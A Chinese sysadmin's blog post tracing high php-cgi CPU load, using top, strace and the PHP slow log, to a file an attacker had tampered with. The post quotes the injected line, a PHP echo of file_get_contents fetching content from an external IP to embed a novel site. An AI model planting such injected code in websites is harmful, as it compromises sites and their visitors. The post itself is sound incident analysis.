王跸西的生命体验blog-WangBiXi.com

先说下我们网站的架构,由于目前网站访问量不是很大，但是由于最近公司网站要推广，所以将网站由单机切换成前端用nginx做负载均衡，带动两台web服务器，所有网页和静态文件都通过NFS共享调用，NFS服务装在其中的一个web服务器上，后端用mysql主从的方式，是很典型的架构。

切换成这个架构才2天，就收到nagios的报警，报警信息显示有一台web服务器负载很高，于是通过SecureCRT登录到服务器上，用top命令看了一下，发现有几个php-cgi进程占用了大量的CPU，如下：

13889 www       25   0  228m  14m 9344 S 100.4  0.1  14:51.22 php-cgi                                                                               
13882 www       25   0  227m  13m 9284 S 100.1  0.1  10:53.18 php-cgi                                                                                
13924 www       25   0  227m 9936 5732 S 100.1  0.1  23:20.80 php-cgi                                                                               
13927 www       25   0  226m 5228 2064 R 100.1  0.0  24:44.24 php-cgi                                                                               
13827 www       25   0  228m  15m  10m R 99.7  0.1  12:57.60 php-cgi                                                                                
13900 www       25   0  228m  19m  13m R 99.7  0.1   9:03.09 php-cgi 

由上面的截图我们可以看出那几个php-cgi进程不但占用了大量的CPU，而且运行时间非常长，本来php-cgi接到一个请求运行很快的，怎么这几个运行那么久还没释放？于是采用命令ls -l /proc/13827/fd/查看这个长时间的进程到底在干什么事情，结果如下：

lrwx------ 1 www www 64 Dec 11 12:03 0 -> socket:[68444030]
l-wx------ 1 www www 64 Dec 11 12:03 1 -> pipe:[68444057]
l-wx------ 1 www www 64 Dec 11 12:03 2 -> pipe:[68444058]
lrwx------ 1 www www 64 Dec 11 12:03 3 -> socket:[68468225]
lrwx------ 1 www www 64 Dec 11 12:03 4 -> socket:[68469788]
lrwx------ 1 www www 64 Dec 11 12:03 5 -> socket:[68457928] 

看到里面没有打开文件或者写入文件，这个进程没干什么事情，比较奇怪，然后采用strace命令跟踪下看看这个进程在做什么东西呢？

strace -p 13827
poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)
select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)
select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)
select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)
select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)
select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)
select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout) ……. 

可以看出，这个进程不断的超时，到底为何会超时呢？？？看来需要从php-cgi的日志中查找问题了，由于原来php-fpm.conf配置的超时时间为0，也就是不设置超时时间。于是先将php-fpm.conf的超时时间设置成5s，然后超过5s的php-cgi的请求就会记录到php的慢日志中，设置如下：

3s
logs/slow.log 

设置完成，利用命令/usr/local/php/sbin/php-fpm restart重启php-fpm，过一会查看slow.log的内容发现很多如下内容：

script_filename = /data/htdocs/bbs.hrloo.com/apl.php
[0x00007fffb060fd70] file_get_contents() /data/htdocs/bbs.hrloo.com/apl.php:10 

查看/data/htdocs/bbs.hrloo.com/apl.php第十行的内容如下：

网上查了一下发现了介绍php这个函数当里面网址响应很慢的时候就会出现CPU占用很高的情况，而且会一直卡住，不会超时，再看看这个链接，访问一下指向到了一个小说网站，是别人攻击后嵌入的，将这个文件还原后恢复正常。奇怪的是那个安装NFS的web服务器却不会出现那个问题，看来是由于本来那个站点又慢，通过NFS调用就更慢了，因此出现了这个故障。感谢这次故障，才发现了这个严重的问题。

echo file_get_contents('http://121.10.108.227:86/yh.asp'); 

故障修复了，但是问题还远远没有解决，重点要找到文件是如何被修改的，防止再出现类似的事故。看来下面还有很多事情要忙乎了。呵呵！